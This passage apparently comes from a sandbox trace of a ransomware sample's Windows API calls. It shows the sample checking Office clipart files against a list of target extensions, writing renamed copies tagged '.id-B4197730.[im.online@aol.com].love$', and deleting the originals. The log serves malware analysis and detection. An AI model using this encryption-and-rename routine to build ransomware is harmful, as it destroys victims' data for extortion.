office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0121.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.827] lstrlenW (lpString=".doc") returned 4 [0121.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.827] lstrlenW (lpString=".docx") returned 5 [0121.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.827] lstrlenW (lpString=".pdf") returned 4 [0121.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.828] lstrlenW (lpString=".xls") returned 4 [0121.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.828] lstrlenW (lpString=".xlsx") returned 5 [0121.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.828] lstrlenW (lpString=".ppt") returned 4 [0121.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.828] lstrlenW (lpString=".zip") returned 4 [0121.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.828] lstrlenW (lpString=".rar") returned 4 [0121.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.828] lstrlenW (lpString=".bz2") returned 4 [0121.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.828] lstrlenW (lpString=".7z") returned 3 [0121.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.828] lstrlenW (lpString=".dbf") returned 4 [0121.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.828] lstrlenW (lpString=".1cd") returned 4 [0121.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.828] lstrlenW (lpString=".jpg") returned 4 [0121.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.828] lstrlenW (lpString=".doc") returned 4 [0121.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.829] lstrlenW (lpString=".docx") returned 5 [0121.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.829] lstrlenW (lpString=".pdf") returned 4 [0121.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.829] lstrlenW (lpString=".xls") returned 4 [0121.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.829] lstrlenW (lpString=".xlsx") returned 5 [0121.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.829] lstrlenW (lpString=".ppt") returned 4 [0121.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.829] lstrlenW (lpString=".zip") returned 4 [0121.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.829] lstrlenW (lpString=".rar") returned 4 [0121.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.829] lstrlenW (lpString=".bz2") returned 4 [0121.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.829] lstrlenW (lpString=".7z") returned 3 [0121.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.829] lstrlenW (lpString=".dbf") returned 4 [0121.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.829] lstrlenW (lpString=".1cd") returned 4 [0121.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0121.829] lstrlenW (lpString=".jpg") returned 4 [0121.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.830] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.830] lstrlenW (lpString="AN04332_.WMF") returned 12 [0121.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0121.830] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4296) returned 1 [0121.830] CloseHandle (hObject=0x3a0) returned 1 [0121.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0121.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0121.831] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.831] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0121.832] GetLastError () returned 0x0 [0121.832] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x10c8, lpOverlapped=0x0) returned 1 [0121.834] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0121.835] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.836] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.836] SetEndOfFile (hFile=0x3a4) returned 1 [0121.836] CloseHandle (hObject=0x3a4) returned 1 [0121.837] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.837] SetEndOfFile (hFile=0x3a0) returned 1 [0121.838] CloseHandle (hObject=0x3a0) returned 1 [0121.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0121.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.839] lstrlenW (lpString=".doc") returned 4 [0121.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.839] lstrlenW (lpString=".docx") returned 5 [0121.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.839] lstrlenW (lpString=".pdf") returned 4 [0121.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.839] lstrlenW (lpString=".xls") returned 4 [0121.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.839] lstrlenW (lpString=".xlsx") returned 5 [0121.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.839] lstrlenW (lpString=".ppt") returned 4 [0121.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.839] lstrlenW (lpString=".zip") returned 4 [0121.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.839] lstrlenW (lpString=".rar") returned 4 [0121.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.839] lstrlenW (lpString=".bz2") returned 4 [0121.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.840] lstrlenW (lpString=".7z") returned 3 [0121.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.840] lstrlenW (lpString=".dbf") returned 4 [0121.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.840] lstrlenW (lpString=".1cd") returned 4 [0121.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.840] lstrlenW (lpString=".jpg") returned 4 [0121.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.840] lstrlenW (lpString=".doc") returned 4 [0121.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.840] lstrlenW (lpString=".docx") returned 5 [0121.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.840] lstrlenW (lpString=".pdf") returned 4 [0121.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.840] lstrlenW (lpString=".xls") returned 4 [0121.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.840] lstrlenW (lpString=".xlsx") returned 5 [0121.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.840] lstrlenW (lpString=".ppt") returned 4 [0121.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.840] lstrlenW (lpString=".zip") returned 4 [0121.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.841] lstrlenW (lpString=".rar") returned 4 [0121.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.841] lstrlenW (lpString=".bz2") returned 4 [0121.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.841] lstrlenW (lpString=".7z") returned 3 [0121.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.841] lstrlenW (lpString=".dbf") returned 4 [0121.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.841] lstrlenW (lpString=".1cd") returned 4 [0121.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0121.841] lstrlenW (lpString=".jpg") returned 4 [0121.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.841] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.841] lstrlenW (lpString="AN04355_.WMF") returned 12 [0121.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0121.842] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3228) returned 1 [0121.842] CloseHandle (hObject=0x3a0) returned 1 [0121.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0121.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0121.842] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.842] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0121.843] GetLastError () returned 0x0 [0121.843] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xc9c, lpOverlapped=0x0) returned 1 [0121.845] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xca0, lpOverlapped=0x0) returned 1 [0121.846] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.846] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0121.847] SetEndOfFile (hFile=0x3a4) returned 1 [0121.847] CloseHandle (hObject=0x3a4) returned 1 [0121.850] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.850] SetEndOfFile (hFile=0x3a0) returned 1 [0121.851] CloseHandle (hObject=0x3a0) returned 1 [0121.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0121.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0121.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.852] lstrlenW (lpString=".doc") returned 4 [0121.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.852] lstrlenW (lpString=".docx") returned 5 [0121.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.853] lstrlenW (lpString=".pdf") returned 4 [0121.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.853] lstrlenW (lpString=".xls") returned 4 [0121.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.853] lstrlenW (lpString=".xlsx") returned 5 [0121.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.853] lstrlenW (lpString=".ppt") returned 4 [0121.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.853] lstrlenW (lpString=".zip") returned 4 [0121.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.853] lstrlenW (lpString=".rar") returned 4 [0121.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.853] lstrlenW (lpString=".bz2") returned 4 [0121.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.853] lstrlenW (lpString=".7z") returned 3 [0121.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.853] lstrlenW (lpString=".dbf") returned 4 [0121.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.853] lstrlenW (lpString=".1cd") returned 4 [0121.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.853] lstrlenW (lpString=".jpg") returned 4 [0121.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.854] lstrlenW (lpString=".doc") returned 4 [0121.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0121.854] lstrlenW (lpString=".docx") returned 5 [0121.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0121.854] lstrlenW (lpString=".pdf") returned 4 [0121.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0121.854] lstrlenW (lpString=".xls") returned 4 [0121.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0121.854] lstrlenW (lpString=".xlsx") returned 5 [0121.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0121.854] lstrlenW (lpString=".ppt") returned 4 [0121.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0121.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.854] lstrlenW (lpString=".zip") returned 4 [0121.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0121.854] lstrlenW (lpString=".rar") returned 4 [0121.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0121.854] lstrlenW (lpString=".bz2") returned 4 [0121.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0121.854] lstrlenW (lpString=".7z") returned 3 [0121.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0121.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.854] lstrlenW (lpString=".dbf") returned 4 [0121.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0121.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.854] lstrlenW (lpString=".1cd") returned 4 [0121.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0121.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 68 [0121.855] lstrlenW (lpString=".jpg") returned 4 [0121.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0121.855] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0121.855] lstrlenW (lpString="AN04369_.WMF") returned 12 [0121.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.105] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4808) returned 1 [0122.105] CloseHandle (hObject=0x340) returned 1 [0122.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 0x220 [0122.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0122.113] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.113] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0122.114] GetLastError () returned 0x0 [0122.114] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x12c8, lpOverlapped=0x0) returned 1 [0122.116] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x12d0, lpOverlapped=0x0) returned 1 [0122.117] ReadFile (in: hFile=0x340, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.117] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.117] SetEndOfFile (hFile=0x3a0) returned 1 [0122.118] CloseHandle (hObject=0x3a0) returned 1 [0122.121] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.121] SetEndOfFile (hFile=0x340) returned 1 [0122.122] CloseHandle (hObject=0x340) returned 1 [0122.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0122.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0122.123] lstrlenW (lpString=".doc") returned 4 [0122.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.123] lstrlenW (lpString=".docx") returned 5 [0122.123] lstrcmpiW (lpString1=".docx", 